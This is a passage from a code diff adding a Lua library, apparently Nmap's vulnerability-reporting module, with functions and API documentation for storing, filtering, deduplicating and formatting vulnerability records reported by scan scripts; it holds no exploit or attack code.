+ --(old_vuln.state & STATE.EXPLOIT) ~= 0 then
+ -- old_vuln.exploit_results = old_vuln.exploit_results or {}
+ -- insert(old_vuln.exploit_results,
+ -- string_format("Script %s exploits:", new_vuln.script_name))
+ -- tadd(old_vuln.exploit_results, new_vuln.exploit_results)
+ --end
+
+ --if new_vuln.extra_info then
+ -- old_vuln.extra_info = old_vuln.extra_info or {}
+ -- insert(old_vuln.extra_info,
+ -- string_format("Script %s info:", new_vuln.script_name))
+ -- tadd(old_vuln.extra_info, new_vuln.extra_info)
+ --end
+ end
+
+ -- Update the 'port' table if necessary
+ if not old_vuln.port and new_vuln.port then
+ old_vuln.port = tcopy(new_vuln.port)
+ end
+
+ -- Add the script name to the list of scripts that tested this
+ -- vulnerability.
+ if new_vuln.script_name then
+ old_vuln.scripts = old_vuln.scripts or {}
+ insert(old_vuln.scripts, new_vuln.script_name)
+ end
+
+ -- Update the references links
+ if new_vuln.references and next(new_vuln.references) then
+ old_vuln.references = l_update_references(vulndb.SHARED.REFERENCES,
+ old_vuln.references,
+ new_vuln.references)
+ end
+
+ return old_vuln
+end
+
+--- Adds the vulnerability table to the vulndb (registry).
+--
+-- @param vulndb The vulnerability database which is a table in the
+-- registry.
+-- @param vuln_table The vulnerability information table.
+-- @return True if the vulnerability information table was saved,
+-- otherwise False.
+local l_add = function(vulndb, vuln_table)
+ local vuln_table = vuln_table
+
+ -- Get the Filters IDs list
+ local FIDS = filter_vulns(vulndb.FILTERS_FUNCS, vuln_table)
+
+ -- All the Filters denied the vulnerability entry
+ if not FIDS then
+ return false
+ else
+ -- Store the Filters IDS that will reference this vulnerability
+ -- This is a special field
+ vuln_table._FIDS_MATCH = {}
+ for _, fid in ipairs(FIDS) do
+ vuln_table._FIDS_MATCH[vulndb.FILTERS_IDS[fid]] = true
+ end
+ end
+
+ -- If we are here then the vulnerability entry has passed
+ -- some filters. The list of passed filters is stored in the
+ -- FIDS variable
+
+
+ -- Store the new vulnerability IDS in this list:
+ -- 1) If the vulnerability is new then store all the IDS.
+ -- 2) If the vulnerability was already pushed, then we can have a
+ -- situation when the current vulnerability table (which is the
+ -- same vulnerability that was already pushed) have some new
+ -- IDS entries, and in this case we will also save these new IDS,
+ -- and make them reference the old vulnerability entry.
+ local NEW_IDS = {}
+
+ -- If the vulnerability was already saved in the registry, then
+ -- store its references here.
+ local old_entries = {}
+
+
+ -- Count how many vuln_table.IDS entries should be and should reference
+ -- the vulnerability table in the registry
+ -- (in all the FILTERS_IDS tables).
+ local ids_count = 0
+
+ -- Count how many vuln_table.IDS entries are referencing an old
+ -- vulnerability entry that was already saved in the registry.
+ local ids_found = 0
+
+ local host_info, target_key = "", ""
+ if vuln_table.host and next(vuln_table.host) then
+ target_key = l_get_host_port_key(vuln_table)
+ host_info = string_format(" (host:%s %s)", vuln_table.host.ip, target_key)
+ end
+
+ -- Search the Filters IDS for the vulnerability
+ for _, fid in ipairs(FIDS) do
+ for id_type, id in pairs(vuln_table.IDS) do
+ -- Count how many IDs should be referencing the vulnerability
+ -- entry in all the FILTERS_IDS tables.
+ ids_count = ids_count + 1
+
+ -- If the IDs are referencing an old vulnerability entry
+ -- that was saved previously in the registry then make this
+ -- variable false.
+ local id_not_found = true
+
+ debug(5,
+ "vulns.lua: Searching VULNS.FILTERS_IDS[%d] for '%s' ID:%s:%s",
+ fid, vuln_table.title, id_type, id)
+
+ local db = l_lookup_id(vulndb.FILTERS_IDS[fid], id_type, id)
+ if db and db.ENTRIES and db.ENTRIES.HOSTS then
+
+ if vuln_table.host and next(vuln_table.host) then
+ local old_vuln_list = db.ENTRIES.HOSTS[vuln_table.host.ip]
+
+ if old_vuln_list then
+ -- Host IP is already affected by this vulnerability.
+ -- Check the couple "targetname:port" now
+ local tmp_vuln = old_vuln_list[target_key]
+
+ if tmp_vuln then
+ debug(5,
+ "vulns.lua: VULNS.FILTERS_IDS[%d] '%s' ID:%s:%s%s: FOUND",
+ fid, vuln_table.title, id_type, id, host_info)
+ if old_entries[#old_entries] ~= tmp_vuln then
+ old_entries[#old_entries + 1] = tmp_vuln
+ end
+ ids_found = ids_found + 1
+
+ -- The ID couple is correctly referencing a vulnerability
+ -- entry in the vulnerability database (registry).
+ id_not_found = false
+ end
+ end
+
+ end
+ end
+
+ -- If the ID couple (id_type, id) was not found then save it
+ -- in order to make it later reference the saved vulnerability
+ -- entry (vulnerability table in the registry).
+ if id_not_found then
+ debug(5,
+ "vulns.lua: VULNS.FILTERS_IDS[%d] '%s' ID:%s:%s%s: NOT FOUND",
+ fid, vuln_table.title, id_type, id, host_info)
+ NEW_IDS[id_type] = {['id'] = id, ['fid'] = fid}
+ end
+
+ end
+ end
+
+
+ -- This will reference the vulnerability table that was saved
+ -- in the registry.
+ local vuln_ref
+
+ -- Old entry, update the vulnerability information
+ if ids_found > 0 then
+ if #old_entries > 1 then
+ debug(3, "vulns.lua: Warning at vuln '%s': "..
+ "please check the vulnerability IDs field.", vuln_table.title)
+ for _, old_vuln in ipairs(old_entries) do
+ debug(3, "vulns: Warning at vuln '%s': "..
+ "please check the vulnerability IDs field.", old_vuln.title)
+ end
+ end
+ debug(3,
+ "vulns.lua: Updating vulnerability entry: '%s'%s",
+ vuln_table.title, host_info)
+ debug(3,
+ "vulns.lua: Vulnerability '%s' referenced by %d IDs from %d (%s)",
+ vuln_table.title, ids_found, ids_count,
+ ids_found < ids_count and "Bad" or "Good")
+
+ -- Update the vulnerability entry with the first one found.
+ -- Note: Script writers must provide correct IDs or things can
+ -- go bad.
+ vuln_ref = l_update_vuln(vulndb, old_entries[1], vuln_table)
+ else
+ -- New vulnerability entry
+ debug(3,
+ "vulns.lua: Adding new vulnerability entry: '%s'%s",
+ vuln_table.title, host_info)
+
+ -- Push the new vulnerability into the registry
+ vuln_ref = l_push_vuln(vulndb, vuln_table)
+ end
+
+ -- Update the FILTERS IDS tables to reference the vulnerability entry
+ -- This vulnerability entry is now saved in the registry.
+ if ids_found < ids_count then
+
+ for _, fid in ipairs(FIDS) do
+ for id_type, new_entry in pairs(NEW_IDS) do
+ if new_entry['fid'] == fid then
+ -- Add the ID couple (id_type, id) to the
+ -- VULNS.FILTERS_IDS[fid] table that lacks them
+ debug(5,
+ "vulns.lua: Updating VULNS.FILTERS_IDS[%d]", new_entry.fid)
+ l_update_id(vulndb.FILTERS_IDS[new_entry['fid']],
+ id_type, new_entry.id, vuln_ref)
+ end
+ end
+ end
+
+ end
+
+ return true
+end
+
+--- Check and normalize the selection filter fields.
+--
+-- @param Filter The selection filter table.
+-- @return Table The new selection filter that should be used.
+local l_normalize_selection_filter = function(filter)
+ if filter and type(filter) == "table" and next(filter) then
+ local ret = {}
+
+ if filter.state and STATE_MSG[filter.state] then
+ ret.state = filter.state
+ end
+
+ if filter.risk_factor and type(filter.risk_factor) == "string" and
+ RISK_FACTORS[string_upper(filter.risk_factor)] then
+ ret.risk_factor = string_upper(filter.risk_factor)
+ end
+
+ if filter.hosts_filter and
+ type(filter.hosts_filter) == "function" then
+ ret.hosts_filter = filter.hosts_filter
+ end
+
+ if filter.ports_filter and
+ type(filter.ports_filter) == "function" then
+ ret.ports_filter = filter.ports_filter
+ end
+
+ if filter.id_type and type(filter.id_type) == "string" then
+ ret.id_type = string_upper(filter.id_type)
+ ret.id = filter.id
+ end
+
+ return ret
+ end
+end
+
+--- Checks the vulnerability table against the provided selection filter
+--
+-- @param vuln_table The vulnerability information table.
+-- @param Filter The filter table.
+-- @return True if the vulnerability table passes the selection filter,
+-- otherwise False.
+local l_filter_vuln = function(vuln_table, filter)
+ if filter and next(filter) then
+ if filter.state and (vuln_table.state & filter.state) == 0 then
+ return false
+ end
+
+ if filter.risk_factor then
+ if not vuln_table.risk_factor or
+ string_upper(vuln_table.risk_factor) ~= string_upper(filter.risk_factor) then
+ return false
+ end
+ end
+
+ if filter.hosts_filter then
+ if not vuln_table.host or not next(vuln_table.host) or
+ not filter.hosts_filter(vuln_table.host) then
+ return false
+ end
+ end
+
+ if filter.ports_filter then
+ if not vuln_table.port or not next(vuln_table.port) or
+ not filter.ports_filter(vuln_table.port) then
+ return false
+ end
+ end
+
+ if filter.id_type then
+ if not vuln_table.IDS or not next(vuln_table.IDS) or
+ not vuln_table.IDS[filter.id_type] then
+ return false
+ elseif filter.id then
+ return (vuln_table.IDS[filter.id_type] == filter.id)
+ end
+ end
+ end
+
+ return true
+end
+
+--- Find vulnerabilities by ID
+local l_find_by_id = function(fid_table, vuln_id_type, id)
+ local out = {}
+
+ local db = l_lookup_id(fid_table, vuln_id_type, id)
+ if db then
+ debug(5,
+ "vulns.lua: Lookup VULNS.FILTERS_IDS{} for ID:%s:%s: FOUND",
+ vuln_id_type, id)
+ if db.ENTRIES and db.ENTRIES.HOSTS and next(db.ENTRIES.HOSTS) then
+ for _, vuln_list in pairs(db.ENTRIES.HOSTS) do
+ for _, vuln_table in pairs(vuln_list) do
+ debug(5,
+ "vulns.lua: Vulnerability '%s' (host:%s): FOUND",
+ vuln_table.title, vuln_table.host.ip)
+ out[#out + 1] = vuln_table
+ end
+ end
+ end
+
+ if db.ENTRIES.NETWORKS and next(db.ENTRIES.NETWORKS) then
+ for _, vuln_table in ipairs(db.ENTRIES.NETWOKRS) do
+ debug(5,
+ "vulns.lua: Vulnerability '%s': FOUND", vuln_table.title)
+ out[#out + 1] = vuln_table
+ end
+ end
+ end
+
+ return next(out) and out or nil
+end
+
+--- Find vulnerabilities.
+local l_find_vulns = function(fid_table, entries, filter)
+ local out, check_vuln = {}
+
+ if filter then
+ check_vuln = function(vuln_table, fid_table, filter)
+ -- Check if this vulnerability entry is referenced by the fid_table
+ return vuln_table._FIDS_MATCH[fid_table] and
+ l_filter_vuln(vuln_table, filter)
+ end
+ else
+ check_vuln = function(vuln_table, fid_table)
+ return vuln_table._FIDS_MATCH[fid_table]
+ end
+ end
+
+ for host_ip, vulns_list in pairs(entries.HOSTS) do
+ for _, vuln_table in ipairs(vulns_list) do
+ if check_vuln(vuln_table, fid_table, filter) then
+ debug(5,
+ "vulns.lua: Vulnerability '%s' (host: %s): FOUND",
+ vuln_table.title, vuln_table.host.ip)
+ out[#out + 1] = vuln_table
+ end
+ end
+ end
+
+ for _, vuln_table in ipairs(entries.NETWORKS) do
+ if check_vuln(vuln_table, fid_table, filter) then
+ debug(5,
+ "vulns.lua: Vulnerability '%s': FOUND", vuln_table.title)
+ out[#out + 1] = vuln_table
+ end
+ end
+
+ return next(out) and out or nil
+end
+
+--- Format and push vulnerabilities into an output table.
+local l_push_vuln_output = function(output, vlist, showall)
+ local out, vuln_list = output, vlist
+ for idx, vuln_table in ipairs(vuln_list) do
+ local vuln_out = format_vuln_table(vuln_table, showall)
+ if vuln_out then
+ insert(out, concat(vuln_out, "\n"))
+ if #vuln_list > 1 and idx ~= #vuln_list then
+ insert(out, "")
+ end
+ end
+ end
+end
+
+--- Report vulnerabilities.
+local l_make_output = function(fid_table, entries, filter)
+ local hosts, networks = {}, {vulns = {}, not_vulns = {}}
+
+ local save_not_vulns = function(vulns, vuln_table)
+ end
+ if SHOW_ALL then
+ save_not_vulns = function(vulns, vuln_table)
+ vulns[#vulns + 1] = vuln_table
+ end
+ end
+
+ local check_vuln
+ if filter then
+ check_vuln = function(vuln_table, fid_table, filter)
+ -- Check if this vulnerability entry is referenced by the fid_table
+ return vuln_table._FIDS_MATCH[fid_table] and
+ l_filter_vuln(vuln_table, filter)
+ end
+ else
+ check_vuln = function(vuln_table, fid_table)
+ return vuln_table._FIDS_MATCH[fid_table]
+ end
+ end
+
+ for ip, vulns_list in pairs(entries.HOSTS) do
+ local host_entries = {
+ ip = ip,
+ vulns = {},
+ not_vulns = {},
+ }
+
+ for _, vuln_table in ipairs(vulns_list) do
+ if check_vuln(vuln_table, fid_table, filter) then
+ debug(5,
+ "vulns.lua: Vulnerability '%s' (host: %s): FOUND",
+ vuln_table.title, vuln_table.host.ip)
+
+ if (vuln_table.state & STATE.NOT_VULN) == 0 then
+ host_entries.vulns[#host_entries.vulns + 1] = vuln_table
+ else
+ save_not_vulns(host_entries.not_vulns, vuln_table)
+ end
+ end
+ end
+
+ host_entries.state = next(host_entries.vulns) and
+ STATE.VULN or STATE.NOT_VULN
+ insert(hosts, host_entries)
+ end
+
+ for _, vuln_table in ipairs(entries.NETWORKS) do
+ if check_vuln(vuln_table, fid_table, filter) then
+ debug(5,
+ "vulns.lua: Vulnerability '%s': FOUND", vuln_table.title)
+ if (vuln_table.state & STATE.NOT_VULN) == 0 then
+ networks.vulns[#networks.vulns + 1] = vuln_table
+ else
+ save_not_vulns(networks.not_vulns, vuln_table)
+ end
+ end
+ end
+
+ local output = {}
+ local function sort_hosts(a, b)
+ return compare_ip(a.ip, "le", b.ip)
+ end
+
+ local function sort_ports(a, b)
+ if a.port and b.port then
+ return a.port.number < b.port.number
+ end
+ return false
+ end
+
+ if next(hosts) then
+ debug(3,
+ "vulns.lua: sorting vulnerability entries for %d host",
+ #hosts)
+ sort(hosts, sort_hosts)
+
+ for hidx, host in ipairs(hosts) do
+ insert(output, string_format("Vulnerability report for %s: %s",
+ host.ip, STATE_MSG[host.state]))
+
+ if next(host.vulns) then
+ sort(host.vulns, sort_ports)
+ l_push_vuln_output(output, host.vulns)
+ end
+
+ if next(host.not_vulns) and SHOW_ALL then
+ sort(host.vulns, sort_ports)
+ if #host.vulns > 0 then
+ insert(output, "")
+ end
+ l_push_vuln_output(output, host.not_vulns, SHOW_ALL)
+ end
+
+ if #hosts > 1 and hidx ~= #hosts then
+ insert(output, "")
+ end
+ end
+ end
+
+ if next(networks.vulns) then
+ if next(hosts) then
+ insert(output, "")
+ end
+ insert(output, "VULNERABLE Entries:")
+ l_push_vuln_output(output, networks.vulns)
+ end
+
+ if next(networks.not_vulns) and SHOW_ALL then
+ if #networks.vulns or next(hosts) then
+ insert(output, "")
+ end
+ insert(output, "NOT VULNERABLE Entries:")
+ l_push_vuln_output(output, networks.not_vulns, SHOW_ALL)
+ end
+
+ return next(output) and output or nil
+end
+
+--- Add vulnerabilities IDs wrapper
+local registry_add_ids = function(fid, ...)
+ local t = {...}
+ for _, v in ipairs(t) do
+ local id_type = v
+ l_add_id_type(VULNS.FILTERS_IDS[fid], id_type)
+ end
+end
+
+--- Get vulnerabilities IDs wrapper
+local registry_get_ids = function(fid)
+ return VULNS.FILTERS_IDS[fid]
+end
+
+--- Lookup for a vulnerability wrapper
+local registry_lookup_id = function(fid, vuln_id_type, id)
+ if l_lookup_id(VULNS.FILTERS_IDS[fid], vuln_id_type, id) then
+ return true
+ end
+ return false
+end
+
+--- Find vulnerabilities by ID wrapper
+local registry_find_by_id = function(fid, vuln_id_type, id)
+ if registry_lookup_id(fid, vuln_id_type, id) then
+ debug(5,
+ "vulns.lua: Lookup VULNS.FILTERS_IDS[%d] for vulnerabilities",
+ fid)
+
+ return l_find_by_id(VULNS.FILTERS_IDS[fid], vuln_id_type, id)
+ end
+end
+
+--- Find vulnerabilities wrapper
+local registry_find_vulns = function(fid, selection_filter)
+ local fid_table = VULNS.FILTERS_IDS[fid]
+
+ if fid_table and next(fid_table) then
+ -- Normalize the 'selection_filter' fields
+ local filter = l_normalize_selection_filter(selection_filter)
+ debug(5,
+ "vulns.lua: Lookup VULNS.FILTERS_IDS[%d] for vulnerabilities",
+ fid)
+
+ return l_find_vulns(VULNS.FILTERS_IDS[fid], VULNS.ENTRIES, filter)
+ end
+end
+
+--- Report vulnerabilities wrapper
+local registry_make_output = function(fid, selection_filter)
+ local fid_table = VULNS.FILTERS_IDS[fid]
+
+ if fid_table and next(fid_table) then
+ local filter = l_normalize_selection_filter(selection_filter)
+ debug(5,
+ "vulns.lua: Lookup VULNS.FILTERS_IDS[%d] for vulnerabilities",
+ fid)
+
+ local output = l_make_output(VULNS.FILTERS_IDS[fid],
+ VULNS.ENTRIES, filter)
+ return stdnse.format_output(true, output)
+ end
+end
+
+--- Save vulnerabilities wrapper
+local registry_add_vulns = function(script_name, ...)
+ local vulns = {...}
+ if not script_name or not next(vulns) then
+ -- just ignore the entry
+ return false
+ end
+
+ local count = 0
+ for _, vuln_table in ipairs(vulns) do
+ if validate_vuln(vuln_table) then
+ normalize_vuln_info(vuln_table)
+ vuln_table.script_name = script_name
+ debug(3,
+ "vulns.lua: *** New Vuln '%s' %sreported by '%s' script ***",
+ vuln_table.title,
+ vuln_table.host and
+ string_format(" host:%s ", vuln_table.host.ip) or "",
+ vuln_table.script_name)
+ if l_add(VULNS, vuln_table) then
+ count = count + 1
+ end
+ end
+ end
+ return count > 0 and true or false, count
+end
+
+--- Add vulnerability IDs type to the vulnerability database associated
+-- with the <code>FILTER ID</code>.
+--
+-- This function will create a table for each specified vulnerability ID
+-- into the vulnerability database to store the associated vulnerability
+-- entries.
+--
+-- This function takes a <code>FILTER ID</code> as it is returned by
+-- the <code>vulns.save_reports()</code> function and a variable number
+-- of vulnerability IDs type as parameters.
+--
+-- Scripts must call <code>vulns.save_reports()</code> function first to
+-- setup the vulnerability database.
+--
+-- @usage
+-- vulns.add_ids(fid, 'CVE', 'OSVDB')
+--
+-- @param FILTER ID as it is returned by <code>vulns.save_reports()</code>
+-- @param IDs A variable number of strings that represent the
+-- vulnerability IDs type.
+add_ids = function(fid, ...)
+ -- Define this function in save_reports()
+end
+
+--- Gets the vulnerability database associated with the
+-- <code>FILTER ID</code>.
+--
+-- This function can be used to check if there are vulnerability entries
+-- that were saved in the vulnerability database.
+-- The format of the vulnerability database associated with the
+-- <code>FILTER ID</code> is specified as Lua comments in this library.
+--
+-- Scripts must call <code>vulns.save_reports()</code> function first to
+-- setup the vulnerability database.
+--
+-- @usage
+-- local vulndb = vulns.get_ids(fid)
+-- if vulndb then
+-- -- process vulnerability entries
+-- end
+--
+-- @param FILTER ID as it is returned by <code>vulns.save_reports()</code>
+-- @return vulndb The internal vulnerability database associated with the
+-- <code>FILTER ID</code> if there are vulnerability entries that were
+-- saved, otherwise nil.
+get_ids = function(fid)
+ -- Define this function in save_reports()
+end
+
+--- Lookup for a vulnerability entry in the vulnerability database
+-- associated with the <code>FILTER ID</code>.
+--
+-- This function can be used to see if there are any references to the
+-- specified vulnerability in the database, it will return
+-- <code>True</code> if so which means that one of the scripts has
+-- attempted to check this vulnerability.
+--
+-- Scripts must call <code>vulns.save_reports()</code> function first to
+-- setup the vulnerability database.
+--
+-- @usage
+-- local status = vulns.lookup(fid, 'CVE', 'CVE-XXXX-XXXX')
+--
+-- @param FILTER ID as it is returned by <code>vulns.save_reports()</code>
+-- @param vuln_id_type A string representing the vulnerability ID type.
+-- @param id The vulnerability ID.
+-- @return True if there are references to this entry in the vulnerability
+-- database, otherwise False.
+lookup_id = function(fid, vuln_id_type, id)
+ -- Define this function in save_reports()
+end
+
+--- Adds vulnerability tables into the vulnerability database
+-- (registry).
+--
+-- This function takes a variable number of vulnerability tables and
+-- stores them in the vulnerability database if they satisfy the callback
+-- filters that were registered by the <code>vulns.save_reports()</code>
+-- function.
+--
+-- Scripts must call <code>vulns.save_reports()</code> function first to
+-- setup the vulnerability database.
+--
+-- @usage
+-- local vuln_table = {
+-- title = "Vulnerability X",
+-- state = vulns.STATE.VULN,
+-- ...,
+-- -- take a look at the vulnerability table example at the beginning.
+-- }
+-- local status, ret = vulns.add(SCRIPT_NAME, vuln_table)
+-- @param script_name The script name. The <code>SCRIPT_NAME</code>
+-- environment variable will do the job.
+-- @param vulnerabilities A variable number of vulnerability tables.
+-- @return True if the vulnerability tables were added, otherwise False.
+-- @return Number of added vulnerabilities on success.
+add = function(script_name, ...)
+ -- Define this function in save_reports()
+end
+
+--- Search and return vulnerabilities in a list.
+--
+-- This function will return a list of the vulnerabilities that were
+-- stored in the vulnerability database associated with the
+-- <code>FILTER ID</code> that satisfy the <code>selection filter</code>.
+-- It will take a <code>FILTER ID</code> as it is returned by the
+-- <code>vulns.save_reports</code> function and a
+-- <code>selection_filter</code> table as parameters.
+--
+-- Scripts must call <code>vulns.save_reports()</code> function first to
+-- setup the vulnerability database.
+--
+-- This function is not affected by the <code>vulns.showall</code> script
+-- argument. The <code>selection_filter</code> is an optional table
+-- parameter of optional fields which can be used to select which
+-- vulnerabilities to return, if it is not set then all vulnerability
+-- entries will be returned.
+--
+-- @usage
+-- -- All the following fields are optional.
+-- local selection_filter = {
+-- state = vulns.STATE.VULN, -- number
+-- risk_factor = "High", -- string
+-- hosts_filter = function(vuln_table.host)
+-- -- Function that returns a boolean
+-- -- True if it passes the filter, otherwise false.
+-- end,
+-- -- vuln_table.host = {ip, targetname, bin_ip}
+-- ports_filter = function(vuln_table.port)
+-- -- Function that returns a boolean
+-- -- True if it passes the filter, otherwise false.
+-- end,
+-- -- vuln_table.port = {number, protocol, service
+-- -- version}
+-- id_type = 'CVE', -- Vulnerability type ID (string)
+-- id = 'CVE-XXXX-XXXX', -- CVE id (string)
+-- }
+-- local list = vulns.find(fid, selection_filter)
+--
+-- @param FILTER ID as it is returned by <code>vulns.save_reports()</code>
+-- @param selection An optional table to select which vulnerabilities to
+-- list. The fields of the selection filter table are:
+-- state: The vulnerability state.
+-- risk_factor: The vulnerability <code>risk_factor</code> field, can
+-- be one of these values: <code>"High"</code>,
+-- <code>"Medium"</code> or <code>"Low"</code>.
+-- hosts_filter: A function to filter the <code>host</code> table of
+-- the vulnerability table. This function must return
+-- a boolean, true if it passes the filter otherwise
+-- false. The <code>host</code> table:
+-- host = {ip, targetname, bin_ip}
+-- ports_filter: A function to filter the <code>port</code> table of
+-- the vulnerability table. This function must return
+-- a boolean, true if it passes the filter, otherwise
+-- false. The <code>port</code> table:
+-- port = {number, protocol, service, version}
+-- id_type: The vulnerability ID type, (e.g: 'CVE', 'OSVDB' ...)
+-- id: The vulnerability ID.
+-- All these fields are optional.
+-- @return List of vulnerability tables on success, or nil on failures.
+find = function(fid, selection_filter)
+ -- Define this function in save_reports()
+end
+
+--- Search vulnerability entries by ID and return the results in a list.
+--
+-- This function will return a list of the same vulnerability that affects
+-- different hosts, each host will have its own vulnerability table.
+--
+-- Scripts must call <code>vulns.save_reports()</code> function first to
+-- setup the vulnerability database.
+--
+-- @usage
+-- local list = vulns.find_by_id(fid, 'CVE', 'CVE-XXXX-XXXX')
+--
+-- @param FILTER ID as it is returned by <code>vulns.save_reports()</code>
+-- @param vuln_id_type A string representing the vulnerability ID type.
+-- @param id The vulnerability ID.
+-- @return List of vulnerability tables on success, or nil on failures.
+find_by_id = function(fid, vuln_id_type, id)
+ -- Define this function in save_reports()
+end
+
+--- Report vulnerabilities.
+--
+-- Format and report all the vulnerabilities that were stored in the
+-- vulnerability database associated with the <code>FILTER ID</code> for
+-- user display.
+--
+-- This function takes a <code>FILTER ID</code> as it is returned by the
+-- <code>vulns.save_reports()</code> function and a
+-- <code>selection_filter</code> as parameters.
+--
+-- Scripts must call <code>vulns.save_reports()</code> function first to
+-- activate this function, then they can use it as a tail call to report
+-- all vulnerabilities that were saved into the registry. Results will be
+-- sorted by IP addresses and Port numbers.
+--
+-- To show the <code>NOT VULNERABLE</code> entries users must specify
+-- the <code>vulns.showall</code> script argument.
+--
+-- The <code>selection_filter</code> is an optional table parameter of
+-- optional fields which can be used to select which vulnerabilities to
+-- report, if it is not set then all vulnerabilities entries will be
+-- returned.
+--
+-- @usage
+-- -- All the following fields are optional.
+-- local selection_filter = {
+-- state = vulns.STATE.VULN, -- number
+-- risk_factor = "High", -- string
+-- hosts_filter = function(vuln_table.host)
+-- -- Function that returns a boolean
+-- -- True if it passes the filter, otherwise false.
+-- end,
+-- -- vuln_table.host = {ip, targetname, bin_ip}
+-- ports_filter = function(vuln_table.port)
+-- -- Function that returns a boolean
+-- -- True if it passes the filter, otherwise false.
+-- end,
+-- -- vuln_table.port = {number, protocol, service
+-- -- version}
+-- id_type = 'CVE', -- Vulnerability type ID (string)
+-- id = 'CVE-XXXX-XXXX', -- CVE id (string)
+-- }
+-- return vulns.make_output(fid, selection_filter)
+--
+-- @param FILTER ID as it is returned by <code>vulns.save_reports()</code>
+-- @param selection An optional table to select which vulnerabilities to
+-- report. The fields of the selection filter table are:
+-- state: The vulnerability state.
+-- risk_factor: The vulnerability <code>risk_factor</code> field, can
+-- be one of these values: <code>"High"</code>,
+-- <code>"Medium"</code> or <code>"Low"</code>.
+-- hosts_filter: A function to filter the <code>host</code> table of
+-- the vulnerability table. This function must return
+-- a boolean, true if it passes the filter otherwise
+-- false. The <code>host</code> table:
+-- host = {ip, targetname, bin_ip}
+-- ports_filter: A function to filter the <code>port</code> table of
+-- the vulnerability table. This function must return
+-- a boolean, true if it passes the filter, otherwise
+-- false. The <code>port</code> table:
+-- port = {number, protocol, service, version}
+-- id_type: The vulnerability ID type, (e.g: 'CVE', 'OSVDB' ...)
+-- id: The vulnerability ID.
+-- All these fields are optional.
+-- @return multiline string on success, or nil on failures.
+make_output = function(fid, selection_filter)
+ -- Define this function in save_reports()
+end
+
+--- Normalize and format some special vulnerability fields
+--
+-- @param vuln_field The vulnerability field
+-- @return List The contents of the vuln_field stored in a list.
+local format_vuln_special_fields = function(vuln_field)
+ local out = {}
+ if vuln_field then
+ if type(vuln_field) == "table" then
+ for _, line in ipairs(vuln_field) do
+ if type(line) == "string" then
+ tadd(out, stringaux.strsplit("\r?\n", line))
+ else
+ insert(out, line)
+ end
+ end
+ elseif type(vuln_field) == "string" then
+ out = stringaux.strsplit("\r?\n", vuln_field)
+ end
+ end
+ return next(out) and out or nil
+end
+
+--- Inspect and format the vulnerability information.
+--
+-- The result of this function must be checked, it will return a table
+-- on success, or nil on failures.
+--
+-- @param Table The vulnerability information table.
+-- @param showall A string if set then show all the vulnerability
+-- entries including the <code>NOT VULNERABLE</code> ones.
+-- @return Table The formatted vulnerability information stored in a
+-- table on success. If one of the mandatory vulnerability fields is
+-- missing or if the <code>'showall'</code> parameter is not set and
+-- the vulnerability state is<code>NOT VULNERABLE</code> then it will
+-- print a debug message about the vulnerability and return nil.
+local format_vuln_base = function(vuln_table, showall)
+ if not vuln_table.title or not type(vuln_table.title) == "string" or
+ not vuln_table.state or not STATE_MSG[vuln_table.state] then
+ return nil
+ end
+
+ if not showall and (vuln_table.state & STATE.NOT_VULN) ~= 0 then
+ debug(2, "vulns.lua: vulnerability '%s'%s: %s.",
+ vuln_table.title,
+ vuln_table.host and
+ string_format(" (host:%s%s)", vuln_table.host.ip,
+ vuln_table.host.targetname and
+ " "..vuln_table.host.targetname or "")
+ or "", STATE_MSG[vuln_table.state])
+ return nil
+ end
+ local output_table = stdnse.output_table()
+ local out = {}
+ if SHORT_OUTPUT then
+ -- Don't waste time/space inserting anything
+ setmetatable(out, {
+ __newindex = function () return nil end
+ })
+ end
+ output_table.title = vuln_table.title
+ insert(out, vuln_table.title)
+ output_table.state = STATE_MSG[vuln_table.state]
+ insert(out,
+ string_format(" State: %s", STATE_MSG[vuln_table.state]))
+
+ if vuln_table.IDS and next(vuln_table.IDS) then
+ local ids_t = {}
+ for id_type, id in pairs(vuln_table.IDS) do
+ -- ignore internal NMAP IDs
+ if id_type ~= 'NMAP_ID' then
+ table.insert(ids_t, string_format("%s:%s", id_type, id))
+ end
+ end
+
+ if next(ids_t) then
+ insert(out, string_format(" IDs: %s", table.concat(ids_t, " ")))
+ output_table.ids = ids_t
+ end
+ end
+
+ -- Show this information only if the program is vulnerable
+ if (vuln_table.state & STATE.NOT_VULN) == 0 then
+ if vuln_table.risk_factor then
+ local risk_str = ""
+
+ if vuln_table.scores and next(vuln_table.scores) then
+ output_table.scores = vuln_table.scores
+ for score_type, score in pairs(vuln_table.scores) do
+ risk_str = risk_str .. string_format(" %s: %s", score_type, score)
+ end
+ end
+
+ insert(out, string_format(" Risk factor: %s%s",
+ vuln_table.risk_factor, risk_str))
+ end
+
+ if vuln_table.description then
+ local desc = format_vuln_special_fields(vuln_table.description)
+ if desc then
+ for _, line in ipairs(desc) do
+ insert(out, string_format(" %s", line))
+ end
+ output_table.description = vuln_table.description
+ end
+ end
+
+ if vuln_table.dates and next(vuln_table.dates) then
+ output_table.dates = vuln_table.dates
+ if vuln_table.dates.disclosure and
+ next(vuln_table.dates.disclosure) then
+ output_table.disclosure = string_format("%s-%s-%s",
+ vuln_table.dates.disclosure.year,
+ vuln_table.dates.disclosure.month,
+ vuln_table.dates.disclosure.day)
+ insert(out, string_format(" Disclosure date: %s-%s-%s",
+ vuln_table.dates.disclosure.year,
+ vuln_table.dates.disclosure.month,
+ vuln_table.dates.disclosure.day))
+ end
+ end
+
+ if vuln_table.check_results then
+ output_table.check_results = vuln_table.check_results
+ local check = format_vuln_special_fields(vuln_table.check_results)
+ if check then
+ insert(out, " Check results:")
+ for _, line in ipairs(check) do
+ insert(out, string_format(" %s", line))
+ end
+ end
+ end
+
+ if vuln_table.exploit_results then
+ output_table.exploit_results = vuln_table.exploit_results
+ local exploit = format_vuln_special_fields(vuln_table.exploit_results)
+ if exploit then
+ insert(out, " Exploit results:")
+ for _, v in ipairs(vuln_table.exploit_results) do
+ insert(out, string_format(" %s", v))
+ end
+ end
+ end
+
+ if vuln_table.extra_info then
+ output_table.extra_info = vuln_table.extra_info
+ local extra = format_vuln_special_fields(vuln_table.extra_info)
+ if extra then
+ insert(out, " Extra information:")
+ for _, v in ipairs(vuln_table.extra_info) do
+ insert(out, string_format(" %s", v))
+ end
+ end
+ end
+ end
+
+ if vuln_table.IDS or vuln_table.references then
+ local ref_set = {}
+
+ -- Show popular references
+ if vuln_table.IDS and next(vuln_table.IDS) then
+ for id_type, id in pairs(vuln_table.IDS) do
+ local id_type = string_upper(id_type)
+ local link = get_popular_link(id_type, id)
+ if link then ref_set[link] = true end
+ end
+ end
+
+ -- Show other references
+ if vuln_table.references and next(vuln_table.references) then
